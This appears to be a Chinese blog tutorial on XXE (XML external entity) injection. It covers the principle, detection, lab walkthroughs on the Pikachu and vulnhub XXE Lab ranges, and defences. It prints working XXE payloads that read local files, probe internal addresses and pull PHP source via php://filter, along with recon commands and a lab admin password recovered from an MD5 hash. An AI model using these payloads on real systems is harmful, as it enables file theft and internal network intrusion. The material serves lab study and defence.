【XXE漏洞】原理及实践演示
一、原理
XML是用于传输和存储数据的一种格式,相当于一种信息传输工具,其中包含了XML声明,DTD文档类型定义、文档元素。
XXE是xml外部实体注入漏洞,发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
二、XML概述
特性:
- XML对大小写敏感
- XML所有元素要存在一个闭合标签
- XML中空格会被保留
- XML中属性值要用引号保留
DTD文档类型定义
DTD用于约束文档的结构,变量的格式:
可见先由<?xml ?>标签定义version等信息,然后是<!DOCTYPE sth[] >定义根目录sth下的子目录,这两个构成了DTD文档类型定义。接着才是xml文档内容。
DTD中的实体
实体用于定义和引用普通文本或者特殊字符
外部实体
<!ENTITY 实体 SYSTEM "url"> <?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY test SYSTEM "sth.xml">
]>
<root>&test;</root>
内部实体
<!ENTITY 实体名称 "实体的值">
三、XXE检测
根据抓包的内容
<user>test</user> <pass>test</pass>
有这样的格式则基本为XML
根据Content-Type值:
text/xml或者application/xml
更改Content-Type值,然后看返回值
具体分析可以看下面的实例。
四、XXE实例
Pikachu靶场
在文本框中随意输入一些数据,然后使用bp进行抓包:
变量和accept里都提示xml,基本上可以判定为xml,下面直接进行XXE利用。(注意:本地搭建的网站如果用127.0.0.1进行访问可能会导致bp抓不到包,需要使用本机的其他内网ip进行访问)
读文件
payload:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY rabbit SYSTEM "file:///phpstudy_pro/WWW/pk/test.txt">
]>
<test>&rabbit;</test> #rabbit相当于是一个变量
#file后的路径似乎需要是绝对路径(后续在进行研究)
读文件成功(“从是大V撒”是test.txt的内容):
内网探针
payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo[
<!ELEMENT foo ANY>
<!ENTITY rabbit SYSTEM "http://127.0.0.1:80/pk/test.txt">
]>
<x>&rabbit;</x>
探测端口及文件成功:
下载源码
payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo[
<!ENTITY rabbit SYSTEM "PHP://filter/read=convert.base64-encode/resource=http://10.21.135.43/pk/test.txt">
]>
<x>&rabbit;</x>
因为网站当前的url为:http://10.21.135.43/pk/vul/xxe/xxe_1.php
可见该目录下没有test.txt文件,所以不能写成
PHP://filter/read=convert.base64-encode/resource=test.txt
而是采用完整url的方式。执行payload:
将上诉base64序列解码后即可得到test.txt中的内容。
vulnhub XXE Lab靶场
下载地址:https://www.vulnhub.com/entry/xxe-lab-1,254/
安装后不能登录且不知道IP,需要自己扫描:
将kali和xxe主机放在一个网段下,使用nmap扫描C段:
192.168.108.143开放了80端口,基本上可以判断就是该主机。
进行目录扫描
这里使用dirsearch,安装命令如下:
git clone https://github.com/maurosoria/dirsearch.git
然后cd进入该目录,使用命令进行扫描:
python3 dirsearch.py -u 192.168.108.143
可以看到存在一个robots.txt
访问该目录
根据提示访问:
进行xxe注入
随便输入123,可见存在xml文件的解析,下面直接进行利用:
将上面的xml换为payload(注意原先的xml返回格式不能改变,只能替换变量)
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo[ <!ELEMENT foo ANY> <!ENTITY rabbit SYSTEM "PHP://filter/read=convert.base64-encode/resource=xxe.php"> ]> <root><name> &rabbit; </name><password>123</password></root>
将上面进行base64解码,解码后可以发现没有什么特殊作用。那么尝试读取admin.php并进行查看:
<?php
session_start();
?> <html lang = "en"> <head>
<title>admin</title>
<link href = "css/bootstrap.min.css" rel = "stylesheet"> <style>
body {
padding-top: 40px;
padding-bottom: 40px;
background-color: #ADABAB;
} .form-signin {
max-width: 330px;
padding: 15px;
margin: 0 auto;
color: #017572;
} .form-signin .form-signin-heading,
.form-signin .checkbox {
margin-bottom: 10px;
} .form-signin .checkbox {
font-weight: normal;
} .form-signin .form-control {
position: relative;
height: auto;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
padding: 10px;
font-size: 16px;
} .form-signin .form-control:focus {
z-index: 2;
} .form-signin input[type="email"] {
margin-bottom: -1px;
border-bottom-right-radius: 0;
border-bottom-left-radius: 0;
border-color:#017572;
} .form-signin input[type="password"] {
margin-bottom: 10px;
border-top-left-radius: 0;
border-top-right-radius: 0;
border-color:#017572;
} h2{
text-align: center;
color: #017572;
}
</style> </head> <body> <h2>Enter Username and Password</h2>
<div class = "container form-signin"> <?php
$msg = '';
if (isset($_POST['login']) && !empty($_POST['username'])
&& !empty($_POST['password'])) { if ($_POST['username'] == 'administhebest' &&
md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {
$_SESSION['valid'] = true;
$_SESSION['timeout'] = time();
$_SESSION['username'] = 'administhebest'; echo "You have entered valid use name and password <br />";
$flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";
echo $flag;
}else {
$msg = 'Maybe Later';
}
}
?>
</div> <!-- W00t/W00t --> <div class = "container"> <form class = "form-signin" role = "form"
action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
?>" method = "post">
<h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
<input type = "text" class = "form-control"
name = "username"
required autofocus></br>
<input type = "password" class = "form-control"
name = "password" required>
<button class = "btn btn-lg btn-primary btn-block" type = "submit"
name = "login">Login</button>
</form> Click here to clean <a href = "adminlog.php" tite = "Logout">Session. </div> </body>
</html>
可以看到代码只是进行了简单的前端验证,账户名为:administhebest,秘密在进行md5解密后可得:admin@123。
登录
点击flag发现是空的:
读取flagmeout.php
扔到decode模块进行解密:
JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5
这是个base32解码(因为base32中只包含大写字母A-Z和数字234567),解码后看到又是一个base64:
继续进行解码:
提示flag在/etc/.flag.php中,同样使用伪协议php://进行读取。
解码
因为在.flag.php中所以是一个php代码,复制到在线运行环境中(php5.6运行成功,其他版本没有成功):
可见flag为:
{xxe_is_so_easy}
五、防御
- 使用开发语言提供的禁用外部实体的方法
- 过滤用户提交的XML数据(关键词<!DOCTYPE和<!ENTITY或者 SYSTEM和PUBLIC)
- 配置只能使用静态DTD,禁止外来引入。
参考链接
- XML简介:https://www.freebuf.com/articles/network/225780.html
- XXE:https://www.cnblogs.com/20175211lyz/p/11413335.html
【XXE漏洞】原理及实践演示的更多相关文章
- XXE漏洞原理及利用
0x01概述 XXE(外部实体注入)是XML注入的一种,普通的XML注入利用面比较狭窄,如果有的话也是逻辑类漏洞.XXE扩大了攻击面. 当允许引用外部实体时,就可能导致任意文件读取.系统命令执行.内网 ...
- 听补天漏洞审核专家实战讲解XXE漏洞
对于将“挖洞”作为施展自身才干.展现自身价值方式的白 帽 子来说,听漏洞审核专家讲如何挖掘并验证漏洞,绝对不失为一种快速的成长方式! XXE Injection(XML External Entity ...
- 微信支付的SDK曝出重大漏洞(XXE漏洞)
一.背景 昨天(2018-07-04)微信支付的SDK曝出重大漏洞(XXE漏洞),通过该漏洞,攻击者可以获取服务器中目录结构.文件内容,如代码.各种私钥等.获取这些信息以后,攻击者便可以为所欲为,其中 ...
- 8.bwapp亲测xxe漏洞
这几天在学习XXE漏洞,这里用靶机bwapp来练习一下这个漏洞,重在学习 xxe漏洞主要针对webservice危险的引用的外部实体并且未对外部实体进行敏感字符的过滤, 从而可以造成命令执行,目录遍历 ...
- 20165223《网络对抗技术》Exp3 免杀原理与实践
目录 -- 免杀原理与实践 免杀原理与实践 本次实验任务 基础知识问答 免杀扫描引擎 实验内容 正确使用msf编码器,msfvenom生成jar等文件,veil-evasion,加壳工具,使用shel ...
- 20165223《网络对抗技术》Exp2 后门原理与实践
目录 -- 后门原理与实践 后门原理与实践说明 实验任务 基础知识问答 常用后门工具 实验内容 任务一:使用netcat获取主机操作Shell,cron启动 任务二:使用socat获取主机操作Shel ...
- XXE漏洞学习
0x00 什么是XML 1.定义 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声明.DTD文 ...
- 2018-2019-2 网络对抗技术 20165236 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165236 Exp3 免杀原理与实践 一.实践内容(3.5分) 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5 ...
- 2017-2018-2 20155228 《网络对抗技术》 实验三:MAL_免杀原理与实践
2017-2018-2 20155228 <网络对抗技术> 实验三:MAL_免杀原理与实践 实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasi ...
- 2018-2019-2 20165316 『网络对抗技术』Exp3:免杀原理与实践
2018-2019-2 20165316 『网络对抗技术』Exp3:免杀原理与实践 一 免杀原理与实践说明 (一).实验说明 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件, ...
随机推荐
- ENVI实现QUAC、简化黑暗像元、FLAASH方法的遥感影像大气校正
本文介绍基于ENVI软件,实现对Landsat 7遥感影像加以预处理与多种不同大气校正方法的操作. 目录 1 数据导入与辐射定标 2 波段合成 3 编辑头文件 4 转换文件格式 5 QUAC快速大气校 ...
- Java protected 关键字详解
很多介绍Java语言的书籍(包括<Java编程思想>)都对protected介绍的比较的简单,基本都是一句话,就是: 被 protected 修饰的成员对于本包和其子类可见.这种说法有点太 ...
- 电脑安装JDk
JDK软件下载链接:https://pan.baidu.com/s/1OG6wD-Fvgxu6FwuOUMDmQQ提取码:yu0l Eclipse软件下载链接:https://pan.baidu.co ...
- ObjectInputStream_报错问题
报错: Exception in thread "main" java.io.StreamCorruptedException: invalid stream header: CE ...
- 学习 YAML 语法
符号 意义 备注 - 表示数组 数组也叫序列 # 表示注释 只支持单行注释 空格缩进 表示层级关系 相同层级左侧必须对齐 --- 表示一份内容的开始 ... 表示一份内容的结束 可省略 : 表示键值对 ...
- redis的一些简单操作(针对key)
redis默认16个数据,默认使用0号 select为切换数据库的关键字 select 1 切换数据库 设置值 set k1 lucy key为 k1 value 为 lucy 查看全 ...
- 【转自知乎】NLP算法面试必备!史上最全!PTMs:NLP预训练模型的全面总结
NLP算法面试必备!史上最全!PTMs:NLP预训练模型的全面总结 预训练模型(Pre-trained Models,PTMs)的出现将NLP带入了一个全新时代.2020年3月18日,邱锡鹏老师发表了 ...
- Nginx深入:nginx功能模块、目录结构及配置文件详解
Nginx功能模块说明 1.Nginx 核心功能模块(Core functionality) Nginx核心功能模块负责Nginx的全局应用,主要对应主配置文件的核心层(Main层)和事件(Event ...
- go-zero 是如何实现令牌桶限流的?
原文链接: 上一篇文章介绍了 如何实现计数器限流?主要有两种实现方式,分别是固定窗口和滑动窗口,并且分析了 go-zero 采用固定窗口方式实现的源码. 但是采用固定窗口实现的限流器会有两个问题: 会 ...
- 三维模型OSGB格式轻量化压缩点云处理技术探讨
三维模型OSGB格式轻量化压缩点云处理技术探讨 点云是一种常用的三维模型表示方法,由于其具有高精度.高保真度.易处理等优点,因此在很多领域都得到了广泛应用.但是,点云数据的存储量通常比较大,为了使点云 ...